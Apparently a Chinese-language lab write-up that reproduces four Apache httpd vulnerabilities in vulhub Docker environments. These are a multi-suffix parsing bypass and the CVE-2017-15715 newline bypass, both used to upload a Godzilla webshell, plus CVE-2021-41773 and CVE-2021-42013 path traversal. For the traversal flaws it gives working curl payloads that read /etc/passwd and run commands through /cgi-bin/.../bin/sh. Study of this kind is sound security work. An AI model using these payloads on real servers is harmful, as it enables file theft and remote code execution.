apache 简介：

Apache 是世界使用排名第一的Web 服务器软件。它可以运行在几乎所有广泛使用的 计算机平台上，由于其 跨平台 和安全性被广泛使用，是最流行的Web服务器端软件之一。它快速、可靠并且可通过简单的API扩充，将 Perl/ Python等 解释器编译到服务器中。

一、多后缀名解析漏洞

复现环境： docker ： vulhub/httpd/apache_parsing_vulnerability

1、漏洞简介

漏洞成因：

Apache文件解析漏洞与用户的配置有密切的关系，严格来说属于用户配置问题。Apache文件解析漏洞涉及到一个解析文件的特性。Apache默认一个文件可以有多个以点.分割的后缀，当右边的后缀名无法识别，则继续向左识别；因此可以用于文件上传来绕过黑名单导致getshell。

漏洞修复：

• 方案一:httpd.conf或httpd-vhosts.conf中加入以下语句，从而禁止文件名格式为*.php.*的访问权限

  <FilesMatch ".(php.|php3.|php4.|php5.)">
  Order Deny,Allow
  Deny from all
  </FilesMatch>
  

• 方案二：需要保留文件名，可以修改程序源代码，替换上传文件名中的“.”为“_”：

  • eg:$filename = str_replace('.', '_', $filename);

2、漏洞复现

踩坑记录：使用docker-compose一键启动时，启动不报错但是就是不能运行容器，查阅资料显示需要升级系统内核到linux 4以上。

复现过程：

• 打开网页，显示一个文件上传的页面，尝试上传普通文件，发现上传失败，只有上传图片才能成功。
  
  

• 使用哥斯拉生成一个shell木马，该后缀名为fuck.php.jpg
  

• 上传成功，使用哥斯拉进行连接，成功getshell.
  

二、正则过滤解析漏洞（ cve-2017-15715）

复现环境： docker ： vulhub/httpd/cve-2017-15715

1、漏洞简介

漏洞原理： apache这次解析漏洞的根本原因就是这个 $，正则表达式中，我们都知道$用来匹配字符串结尾位置，我们来看看[菜鸟教程](http://www.runoob.com/regexp/regexp-syntax.html)中对正则表达符‘$`的解释：

匹配输入字符串的结尾位置。如果设置了 RegExp 对象的 Multiline 属性，则 $ 也匹配 ‘\n’ 或 ‘\r’。要匹配 $ 字符本身，请使用 \$。

所以问题就来了，在设置了 RegExp 对象的 Multiline 属性的条件下，$还会匹配到字符串结尾的换行符。所以如果在上传时，添加一个换行符也能呗正常解析，并且能够绕过系统的黑名单检测。所以理论上只要使用正则来匹配文件后缀名，就有可能存在该漏洞。

漏洞产生条件：

• 获取文件名时不能用$_FILES['file']['name']，因为他会自动把换行去掉，这一点有点鸡肋
• 默认的Apache配置即可利用，因为默认Apache配置就使用了<FileMatch>

2、漏洞复现

• 开启docker环境，访问web页面，同样是一个简单的上传功能，并且一样的对文件后缀做了限制，使用多文件后缀上传，上传成功后发现shell不能解析，说明老是解析漏洞不能使用。
  
  

• 修改上传的文件名，在php的后缀处添加换行符“\r"，上传成功。此处注意要点：上传是换行符只能使用”\x0A“，而不能是”\x0D\x0A"。此处踩雷：不能直接在php后缀后面加\x0A,不然后导致上传后无法解析，而应添加一个字符然后在HeX模式下修改为0a.
  

• 使用哥斯拉进行连接，成功getshell.
  

三、路径遍历漏洞（CVE-2021-41773）

复现环境： docker: vulnhub/httpd/CVE-2021-41773

1、漏洞简介

​ Apache HTTP Server 2.4.49版本使用的ap_normalize_path函数在对路径参数进行规范化时会先进行url解码，然后判断是否存在…/的路径穿越符，当检测到路径中存在%字符时，如果紧跟的2个字符是十六进制字符，就会进行url解码，将其转换成标准字符，如%2e->.，转换完成后会判断是否存在…/。

​ 如果路径中存在%2e./形式，就会检测到，但是出现.%2e/这种形式时，就不会检测到，原因是在遍历到第一个.字符时，此时检测到后面的两个字符是%2而不是./，就不会把它当作路径穿越符处理，因此可以使用.%2e/或者%2e%2e绕过对路径穿越符的检测。

​ 如果服务器中配置了cgi的httpd程序中执行bash指令，从而有机会控制服务器。

2、漏洞复现

• 使用docker运行漏洞环境，访问8080端口，是一个apache默认页面。
  

• 根据漏洞原理，使用curl 获取系统文件内容，成功利用漏洞获取信息。payload如下：

  curl -v --path-as-is http://your-ip:8080/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
  

  

3、利用CGI执行命令

payload:

curl --data "echo;whoami" http://192.168.22.140:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh

执行效果：

四、路径遍历（CVE-2021-42013）

1、漏洞简介

Apache HTTP Server 2.4.50 中对 CVE-2021-41773 的修复不够充分。攻击者可以使用路径遍历攻击将 URL 映射到由类似别名的指令配置的目录之外的文件。如果这些目录之外的文件不受通常的默认配置 “要求全部拒绝” 的保护，则这些请求可能会成功。如果还为这些别名路径启用了 CGI 脚本，则可以允许远程代码执行。

影响版本： apache 2.4.49 和apache 2.4.50

2、漏洞复现

Apache HTTP Server 2.4.50版本对CVE-2021-41773的修复可以避免一次url编码导致的路径穿越，但是由于在请求处理过程中，还会调用ap_unescape_url函数对参数再次进行解码，仍然会导致路径穿越。

在处理外部HTTP请求时，会调用 ap_process_request_internal函数对url路径进行处理，在该函数中，首先会调用ap_normalize_path函数进行一次url解码，之后会调用ap_unescape_url函数进行二次解码，此时就可以使用URL二次编码的方式绕过防御。

payload编码解析过程：

1. 假设输入的路径参数为：/icons/.%%32e/.%%32e/.%%32e/.%%32e/etc/passwd。
2. 经过ap_normalize_path函数处理后path参数变成/icons/.%2e/.%2e/.%2e/.%2e/etc/passwd。
3. 经过unescape_url函数处理后，可以看到此时的url字符串内容变成/icons/../../../../etc/passwd。

所以，可以构造以下payload读取文件：结果显示payload成功执行，绕过了cve-2021-41773的防御。
curl -v --path-as-is http://your-ip:8080/icons/.%%32e/.%%32e/.%%32e/.%%32e/etc/passwd

在有CGI的情况下调用CGI程序：

payload:curl --data "echo;whoami" http://192.168.17.244:8080/cgi-bin/.%%32e/.%%32e/.%%32e/.%%32e/bin/sh